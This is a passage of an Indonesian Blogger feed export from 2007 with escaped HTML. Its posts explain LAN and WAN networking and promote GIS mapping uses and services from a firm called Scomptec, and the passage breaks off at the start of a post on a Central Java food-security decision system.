Windows NT, dan lain sebagainya) yang akan ditempatkan pada server. Beberapa bagian dari komponen software tersebut akan menempati di mesin-mesin para client yang memungkinkan aplikasi untuk membaca dan menulis data dari server selayak hal tersebut berada di mesinnya sendiri. &lt;br /&gt;Pesan yang akan dikirimkan akan dikendalikan melalui fasilitas protokol pengantaran data, seperti TCP/IP dan IPX. Pengiriman datanya sendiri secara fisik dilakukan melalui metoda akses (Ethernet, Token Ring, dan sejenis lainnya) yang diimplementasikan ke dalam adapter jaringan yang dipasang pada mesin. Sebuah saluran komunikasi adalah berupa kabel (twisted pair, coax, optical fiber) yang akan menghubungkan setiap adapter jaringan. &lt;br /&gt;&lt;br /&gt;Wide Area Network (WAN) &lt;br /&gt;Adalah sebuah sistem jaringan yang menghubungkan dua atau lebih LAN yang masing-masing dibatasi oleh sebuah jarak yang cukup jauh, seperti berbeda gedung atau kota, yang dihubungkan melalui sambungan telekomunikasi, yang biasanya disewa dari perusahaan telekomunikasi. Internet adalah sebuah contoh dari apa yang disebut WAN dengan cakupan kawasan yang mendunia. &lt;br /&gt;WAN memungkinkan Anda untuk mengubungkan dan saling memanfaatkan sumberdaya di antara masing-masing jaringan yang menjadi bagian dari organisasi yang terpisah oleh sebuah jarak yang cukup jauh. Sebagai tambahan, Anda dapat menerapkan sebuah WAN terhadap mitra bisnis, seperti halnya penggunaan Internet untuk sebuah cakupan global.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-4428574907711762324?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/4428574907711762324/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=4428574907711762324' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/4428574907711762324'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/4428574907711762324'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/09/pengolahan-data-dalam-sistem-informasi.html' title='Pengolahan Data dalam Sistem Informasi'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-1001161330311394907</id><published>2007-09-21T00:51:00.000-07:00</published><updated>2007-09-21T01:00:38.950-07:00</updated><title type='text'>Geographic information system (GIS) atau Sistem Informasi</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvN54x79sFI/AAAAAAAAAAw/v-nLx4V_Jh8/s1600-h/mapgisgf.gif"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvN54x79sFI/AAAAAAAAAAw/v-nLx4V_Jh8/s320/mapgisgf.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5112564018380124242" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;  Geographic information system (GIS) atau Sistem Informasi Berbasis Pemetaan dan Geografi adalah sebuah alat bantu manajemen berupa informasi berbantuan komputer yang berkait erat dengan sistem pemetaan dan analisis terhadap segala sesuatu serta peristiwa-peristiwa yang terjadi di muka bumi.&lt;br /&gt;Teknologi GIS mengintegrasikan operasi pengolahan data berbasis database yang biasa digunakan saat ini, seperti pengambilan data berdasarkan kebutuhan, serta analisis statistik dengan menggunakan visualisasi yang khas serta berbagai keuntungan yang mampu ditawarkan melalui analisis geografis melalui gambar-gambar petanya.&lt;br /&gt;Kemampuan tersebut membuat sistem informasi GIS berbeda dengan sistem informasi pada umumnya dan membuatnya berharga bagi perusahaan milik masyarakat atau perseorangan untuk memberikan penjelasan tentang suatu peristiwa, membuat peramalan kejadian, dan perencanaan strategis lainnya. &lt;br /&gt;&lt;br /&gt;GIS adalah sebuah teknologi yang mampu merubah besar-besaran tentang bagaimana sebuah aktivitas bisnis diselenggarakan. Teknologi GIS memungkinkan Anda untuk melihat informasi bisnis Anda secara keseluruhan dengan cara pandang baru, melalui basis pemetaan, dan menemukan hubungan yang selama ini sama sekali tidak terungkap. &lt;br /&gt;&lt;br /&gt;GIS menempatkan itu semua bersama-sama &lt;br /&gt;&lt;br /&gt;Dengan GIS Anda mampu melakukan lebih banyak dibanding hanya dengan menampilkan data semata-mata. GIS menggabungkan semua kemampuan, baik yang hanya berupa sekedar tampil saja, sistem informasi yang tersaji secara thematis, dan sistem pemetaan yang berdasarkan susunan dan jaringan lalu-lintas jalan, bersamaan dengan kemampuan untuk menganalisa lokasi geografis dan informasi-informasi tertentu yang terkait terhadap lokasi yang bersangkutan. &lt;br /&gt;&lt;br /&gt;Pada aplikasi penanganan kesehatan, misalnya, bisa digunakan untuk memutuskan, di kawasan mana lagikah pusat layanan kesehatan baru akan didirikan berdasarkan atas data-data kependudukan. Selanjutnya, berdasarkan sistem informasi tersebut kita dapat menarik informasi dari peta yang tersedia dalam aplikasi GIS tersebut, atau sebaliknya, memperoleh informasi mengenai peta kawasan tertentu manakah yang akan muncul, jika kita menggunakan informasi tertentu sebagai kriteria pencariannya. &lt;br /&gt;&lt;br /&gt;Dan jangan lupa, GIS adalah sebuah aplikasi dinamis, dan akan terus berkembang. Peta yang dibuat pada aplikasi ini tidak hanya akan berhenti dan terbatas untuk keperluan saat dibuatnya saja. Dengan mudahnya kita bisa melakukan peremajaan terhadap informasi yang terkait pada peta tersebut, dan secara otomatis peta tersebut akan segera menunjukkan akan adanya perubahan informasi tadi. Semuanya itu dapat Anda kerjakan dalam waktu singkat, tanpa perlu belajar secara khusus. &lt;br /&gt;&lt;br /&gt;GIS memungkinkan Anda untuk membuat tampilan peta serta menggunakannya untuk keperluan presentasi dengan menunjuk dan meng-klik-nya. GIS memungkinkan Anda untuk menggambarkan dan menganalisa informasi dengan cara pandang baru, mengungkap semua keterkaitan yang selama ini tersembunyi, pola, dan kecenderungannya. &lt;br /&gt;&lt;br /&gt;Para pelaku bisnis yang bergerak di bidang pemasaran, periklanan, real estate, dan ritel saat ini sudah menggunakan GIS untuk melakukan analisa pasar, mengoptimalkan kampanye periklanan melalui media masa, analisis terhadap bidang-bidang tanah, dan membuat model atas pola pengeluaran. GIS akan merubah banyak hal yang berkait erat dengan pekerjaan Anda, apa pun bisnis Anda tersebut. &lt;br /&gt;&lt;br /&gt;Apa saja yang bisa Anda kerjakan dengan GIS &lt;br /&gt;Anda tak perlu jadi seorang manajer penjualan, atau perencana rute perjalanan. Jika pekerjaan Anda melibatkan diri Anda pada pengelolaan informasi, dan informasi tersebut dapat diasosiasikan pada sebuah struktur informasi yang berbasis pemetaan secara geografis, maka pada saat itulah GIS akan memberikan peran yang besar, dan akan membantu mengorganisasikan informasi-informasi yang Anda inginkan tersebut dalam format baru, yang memungkinkan Anda memperoleh hal-hal baru yang selama ini tak pernah terbayangkan, dan akan diperoleh lebih banyak lagi informasi dibanding yang selama ini Anda dapatkan. Rasanya, kemungkinan-kemungkinan ke arah itu bisa disebut sebagai tanpa batas. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Divisi GIS/Pemetaan SCOMPTEC akan membantu Anda, dalam hal: &lt;br /&gt;&lt;br /&gt;Meningkatkan pengintegrasian organisasi &lt;br /&gt;Banyak organisasi yang sudah mengimplementasi GIS menemukan kenyataan, bahwa keuntungan utama yang mereka dapatkan adalah peningkatan kinerja manajemen terhadap organisasi maupun pengelolaan sumberdayanya.&lt;br /&gt;hal itu terjadi karena GIS memiliki kemampuan untuk menghubungkan berbagai perangkat data secara bersamaan berdasarkan geografis, memfasilitasi informasi-informasi yang terjadi antar bagian, untuk saling termanfaatkan dan dikomunikasikan.&lt;br /&gt;Dengan membuat sebuah database yang bisa dimanfaatkan bersama, maka sebuah bagian akan memperoleh keuntungan dari hasil kerja dari bagian lain, di mana akan berlaku ketentuan, bahwa data cukup sekali dikoleksi, tetapi bisa dimanfaatkan berkali-kali. &lt;br /&gt;&lt;br /&gt;Membuat keputusan-keputusan lebih sempurna &lt;br /&gt;GIS bukan sebuah sistem yang mampu membuat keputusan secara otomatis. GIS hanya sebuah sarana untuk pengambilan data, menganalisanya, dari kumpulan data berbasis pemetaan untuk mendukung proses pengambilan keputusan.&lt;br /&gt;Teknologi GIS banyak digunakan untuk membantu berbagai kegiatan pekerjaan seperti penyajian informasi pada saat pembuatan perencanaan, membantu memecahkan masalah yang berkaitan dengan kekacauan teritorial. &lt;br /&gt;&lt;br /&gt;GIS juga bisa digunakan untuk membantu meraih keputusan mengenai lokasi perumahan baru yang memiliki sesedikit mungkin pengaruh lingkungan, berada di lokasi yang memiliki resiko paling sedikit, dan berada dekat dengan pusat kegiatan kependudukan.&lt;br /&gt;Informasi bisa disajikan secara ringkas dan jelas berupa gambar peta, yang dilampiri dengan laporan, memungkinkan para pemgambil keputusan untuk memusatkan perhatiannya pada masalah-masalah nyata dibanding dengan upaya memahami data. Karena produk GIS bisa dibuat secepatnya, dengan berbagai skenario, untuk kemudian dievaluasi secara efektif dan efisien. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Membantu membuat peta. &lt;br /&gt;Peta merupakan kunci pada GIS. Proses untuk membuat (menggambar) peta dengan GIS jauh lebih fleksibel, bahkan dibanding dengan menggambar peta secara manual, atau dengan pendekatan kartografi yang serba otomatis.&lt;br /&gt;Dimulai dengan membuat database. gambar peta yang sudah ada bisa digambar dengan digitizer, dan informasi tertentu kemudian bisa diterjemahkan ke dalam GIS. Database kartografi berbasis GIS dapat bersambungan dan bebas skala.&lt;br /&gt;Peta-peta kemudian bisa diciptakan terpusat di berbagai lokasi, dengan sembarang skala, dan menunjukkan informasi terpilih, yang mencerminkan secara efektif untuk menjelaskan suatu karakteristik khusus. &lt;br /&gt;&lt;br /&gt;Sifat-sifat sebuah atlas dan serangkaian peta dapat direkam pada program komputer, dan dibandingkan terhadap database pada akhir proses produksi. Produk digital digunakan untuk GIS yang lain bisa dilakukan dengan sederhana, hanya dengan membuat salinan data dari database. Pada organisasi yang besar, database topografi bisa dimanfaatkan untuk kerangka referensi oleh bagian yang lain. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Mengapa harus GIS? Anda memerlukan GIS, jika Anda terlibat dalam jenis-jenis pekerjaan sebagai berikut: &lt;br /&gt;Di manakah sebenarnya pasar kita berada? &lt;br /&gt;&lt;br /&gt;Adakah persaingan mulai muncul? &lt;br /&gt;&lt;br /&gt;Di bagian manakah yang penjualannya di bawah target? &lt;br /&gt;&lt;br /&gt;Di manakah harus mengalokasikan biaya periklanan? &lt;br /&gt;&lt;br /&gt;Di lokasi manakah sebaiknya pengembangan bisnis dilakukan? &lt;br /&gt;&lt;br /&gt;Bagaimana bisa memberikan pelayanan bagi pelanggan? &lt;br /&gt;&lt;br /&gt;Kenapa Scomptec? Solusi GIS dan pemetaan Scomptec telah digunakan oleh begitu banyak perusahaan dengan berbagai ragam bisnisnya, untuk membantu mereka memahami dinamika lingkungannya dan mampu mengambil keputusan secara benar. Perusahaan, seperti Sampoerna, Jasa Marga, dan sejenis lainnya, telah memanfaatkan aplikasi GIS/Mapping yang dikembangkan dengan bantuan Scomptec guna mencapai hasil berupa aktivitas operasional yang sempurna, serta menguntungkan.&lt;br /&gt;Solusi yang ditawarkan oleh Scomptec dapat disesuaikan dengan kebutuhan khas dari masing-masing pengguna, sesuai dengan yang biasa diselenggarakan oleh perusahaan kecil, hingga perusahaan multi-nasional sekalipun. &lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Sejumlah terapan GIS untuk aktivitas bisnis ; &lt;br /&gt;pemasaran, pemilihan lokasi, pengelolaan aset, analisis resiko, pengaturan hantaran, pelayanan pelanggan, serta analisa demografi serta pemetaan. &lt;br /&gt;Scomptec Mapping/GIS akan membantu Anda untuk mengatur terapan GIS untuk berbagai jenis aktivitas bisnis dan industri, termasuk:  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bank dan Finansial &lt;br /&gt;&lt;br /&gt;Produk Konsumsi &lt;br /&gt;&lt;br /&gt;Direct Marketing &lt;br /&gt;&lt;br /&gt;Kesehatan &lt;br /&gt;&lt;br /&gt;Asuransi &lt;br /&gt;&lt;br /&gt;Real Estate/Facility Acquisition/Map &lt;br /&gt;&lt;br /&gt;Restoran/Cepat Saji &lt;br /&gt;&lt;br /&gt;Bisnis Eceran &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Otomotif &lt;br /&gt;&lt;br /&gt;Asosiasi Bisnis &lt;br /&gt;&lt;br /&gt;Pusat Layanan Bisnis &lt;br /&gt;&lt;br /&gt;Layanan Basis Data &lt;br /&gt;&lt;br /&gt;Makanan dan Minuman &lt;br /&gt;&lt;br /&gt;Industri Manufaktur &lt;br /&gt;&lt;br /&gt;Bisnis Kecil &lt;br /&gt;&lt;br /&gt;Biro Perjalanan/Wisata &lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Dan solusi GIS bagi industri tertentu : &lt;br /&gt;&lt;br /&gt;Minyak/Gas dan Listrik/Air &lt;br /&gt;Contoh aplikasi-aplikasi GIS untuk perusahaan minyak, gas dan distribusinya &lt;br /&gt;Minyak dan Gas &lt;br /&gt;Automated basemapping &lt;br /&gt;Eksplorasi &lt;br /&gt;Manajemen Persewaan &lt;br /&gt;Pengeboran &lt;br /&gt;Produksi &lt;br /&gt;Manajemen Penyimpanan &lt;br /&gt;Manajemen Kilang &lt;br /&gt;Distribusi Produk &lt;br /&gt;Manajemen Kapal Tanker &lt;br /&gt;&lt;br /&gt;Pipa &lt;br /&gt;Perencanaan dan Pemilihan Rute &lt;br /&gt;Regulatory reporting&lt;br /&gt;Construction&lt;br /&gt;Emergency response&lt;br /&gt;maps&lt;br /&gt;Pipeline alignment sheet generation&lt;br /&gt;Location maps&lt;br /&gt;Risk assessment&lt;br /&gt;Corrosion analysis&lt;br /&gt;Asset profitability analysis&lt;br /&gt;Supply and market analysis&lt;br /&gt;Berintegrasi dengan&lt;br /&gt;- CAD&lt;br /&gt;- SCADA&lt;br /&gt;- Document management&lt;br /&gt;- Work order management &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Telekomunikasi &lt;br /&gt;Solusi GIS bagi perusahaan telekomunikasi, yang meliputi &lt;br /&gt;&lt;br /&gt;Fasilitas dan pemetaan kawasan &lt;br /&gt;Rute penempatan kabel &lt;br /&gt;Pengembangan 'halaman kuning' secara elektronis &lt;br /&gt;Aplikasi penanganan pelanggan &lt;br /&gt;Pengembangan penyimpanan data &lt;br /&gt;Pemilihan penempatan fasilitas &lt;br /&gt;Sistem penanganan kegagalan sambungan &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Transportasi &lt;br /&gt;&lt;br /&gt;Manajemen Prasarana Transportasi &lt;br /&gt;GIS digunakan untuk mengelola dan menganalisa berbagai informasi dengan geografi sebagai komponen utamanya. lebih dari 80 persen dari informasi digunakan untuk mengelola jalan, jalur kereta api, fasilitas pelabuhan, sebagai komponen utamanya.&lt;br /&gt;GIS bisa dimanfaatkan untuk menentukan lokasi dari suatu peristiwa atau aset dan keterkaitannya atau kedekatannya antara satu dengan lainnya terhadap peristiwa atau aset yang lainnya, di mana hal tersebut merupakan faktor-faktor kritis yang harus diperhatikan untuk memutuskan suatu desain, pembangunan, atau pemeliharaan. &lt;br /&gt;&lt;br /&gt;Manajemen logistik dan kendaraan &lt;br /&gt;Sebuah kegiatan operasi yang efisien membutuhkan sebuah keputusan yang akurat dan tepat waktu. Misalnya mengetahui sedang berada di manakah kendaraan, pikup, atau aktivitas penghantaran pada saat itu, memungkinkan untuk pendayagunaan aset secara optimal dan penghematan. Kepuasan pelanggan, posisi yang bersaing, respons yang sigap, pendayagunaan yang efektif, serta kemungkinan untuk menghasilkan keuntungan di berbagai kemungkinan yang bisa diraih. &lt;br /&gt;&lt;br /&gt;Manajemen Transit. &lt;br /&gt;Perencanaan rute, pengiriman teknisi, analisa pelayanan, penanganan pemasaran dan hubungan komunitas, dan pola transit akan diperoleh keuntungan dengan cara melakukan pemahaman sebaik-baiknya terhadap kendaraan transit, rute perjalanan, dan fasilitas lokasi.&lt;br /&gt;Rute perjalanan dapat dikelola secara langsung melalui database jaringan jalan dan dikaitkan terhadap pusat kependudukan dan karyawan, seperti pada sistem database dari sebuah skedul. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lingkungan dan Geologi &lt;br /&gt;&lt;br /&gt;Untuk membantu melakukan perlindungan terhadap lingkungan. Sebagai seorang profesional di bidang lingkungan, maka Anda dapat menafaatkan GIS untuk membuat peta, catatan populasi spesies, mengukur pengaruh lingkungan, serta menelusuri peristiwa keracunan dan polusi. Aplikasi GIS berkenaan dengan lingkungan, rasanya, hampir tanpa batas jumlahnya. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pertanian, Kehutanan &lt;br /&gt;&lt;br /&gt;Mengelola Produksi Tanaman &lt;br /&gt;GIS dapat digunakan untuk membantu mengelola sumberdaya pertanian dan perkebunan seperti luas kawasan untuk tanaman, pepohonan, atau saluran air. Anda dapat menggunakan GIS untuk menetapkan masa panen, mengembangkan sistem rotasi tanam, dan melakukan perhitungan secara tahunan terhadap kerusakan tanah yang terjadi karena perbedaan pembibitan, penanaman, atau teknik yang digunakan dalam masa panen. &lt;br /&gt;&lt;br /&gt;Mengelola Sistem Irigasi &lt;br /&gt;Anda dapat menggunakan GIS untuk membantu memantau dan mengendalikan irigasi dari tanah-tanah pertanian. GIS dapat membantu memantau kapasitas sistem, katup-katup, efisiensi, serta distribusi menyeluruh dari air di dalam sistem. &lt;br /&gt;Perencanaan dan riwayat sumberdaya kehutanan &lt;br /&gt;Perencanaan dan riwayat manajemen pertanahan &lt;br /&gt;Integrasinya dengan sistem hukum &lt;br /&gt;Integrasinya dengan manajemen basis data relasional &lt;br /&gt;Sistem-sistem &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pemerintahan &lt;br /&gt;Berikut ini adalah berbagai contoh dari berbagai macam rancangan GIS dan layanan pengembangannya; &lt;br /&gt;Catatan Pertanahan &lt;br /&gt;- Pemetaan kavling &lt;br /&gt;- Taksiran properti &lt;br /&gt;- Integrasi multimedia &lt;br /&gt;- Pusat Layanan umum &lt;br /&gt;Manajemen Properti dan Fasilitas &lt;br /&gt;- Pembebasan Tanah dan Peruntukannya &lt;br /&gt;- Pembangunan dan Persediaan Perumahan &lt;br /&gt;- Perencanaan Tataguna Tanah dan Pengaturannya &lt;br /&gt;- Pemetaaan Rencana Umum dan Analisanya &lt;br /&gt;- Pemetaan Kawasan dan Penjejakan Masalah &lt;br /&gt;- Analisis Demografi dan Pemetaan &lt;br /&gt;- Pembangunan Ekonomi &lt;br /&gt;- Keterkaitannya dengan Sistem Perijinan &lt;br /&gt;( &lt;br /&gt;Rekayasa &lt;br /&gt;- Pemetaan Pematusan dan Analisanya &lt;br /&gt;- Pengkajian Subdivisi/Pemetaan Bagian-bagian &lt;br /&gt;- Penataan rute jalan, sanitasi, pepohonan &lt;br /&gt;trimming &lt;br /&gt;Keselamatan Masyarakat &lt;br /&gt;- Perencanaan persiapan keadaan darurat&lt;br /&gt;- Respon dan Penanggulangan Keadaan Darurat&lt;br /&gt;- Analisa Kriminal&lt;br /&gt;- Perencanaan Patroli&lt;br /&gt;- Pengaturan rute respon keadaan darurat&lt;br /&gt;- Analisis penempatan fasilitas&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Layanan yang bisa dilakukan oleh tim Scomptec meliputi &lt;br /&gt;&lt;br /&gt;Perancangan strategi implementasi &lt;br /&gt;Pengembangan aplikasi yang disesuaikan dengan kebutuhan &lt;br /&gt;Pelatihan dan Dokumentasi &lt;br /&gt;Pengaturan Konfigurasi Sistem/Jaringan dan Integrasinya &lt;br /&gt;Evaluasi basis data, perancangan, dan pembuatannya &lt;br /&gt;Staf Pembuat gambar dan Pemrograman &lt;br /&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-1001161330311394907?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/1001161330311394907/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=1001161330311394907' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1001161330311394907'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1001161330311394907'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/09/geographic-information-system-gis-atau.html' title='Geographic information system (GIS) atau Sistem Informasi'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eTjLkcqj9WM/RvN54x79sFI/AAAAAAAAAAw/v-nLx4V_Jh8/s72-c/mapgisgf.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-518832082202700320</id><published>2007-09-21T00:23:00.000-07:00</published><updated>2007-09-21T00:29:11.731-07:00</updated><title type='text'>Sistem Informasi</title><content type='html'>&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;table class="contentpaneopen"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td class="contentheading" width="100%"&gt;&lt;span style="font-size:100%;"&gt;Penyusunan DSS Informasi dan Pengendalian  Ketahanan Pangan Jawa Tengah &lt;/span&gt;&lt;/td&gt; &lt;td class="buttonheading" align="right" width="100%"&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Buat halaman ini dlm format PDF" onclick="window.open('http://balitklimat.litbang.deptan.go.id/index2.php?option=com_content&amp;do_pdf=1&amp;id=109','win2','status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no');" href="javascript:void(0)"&gt;&lt;img alt="Buat halaman ini dlm format PDF" src="http://www.blogger.com/bay_files/pdf_button.png" name="Buat halaman ini dlm format PDF" align="middle" border="0" /
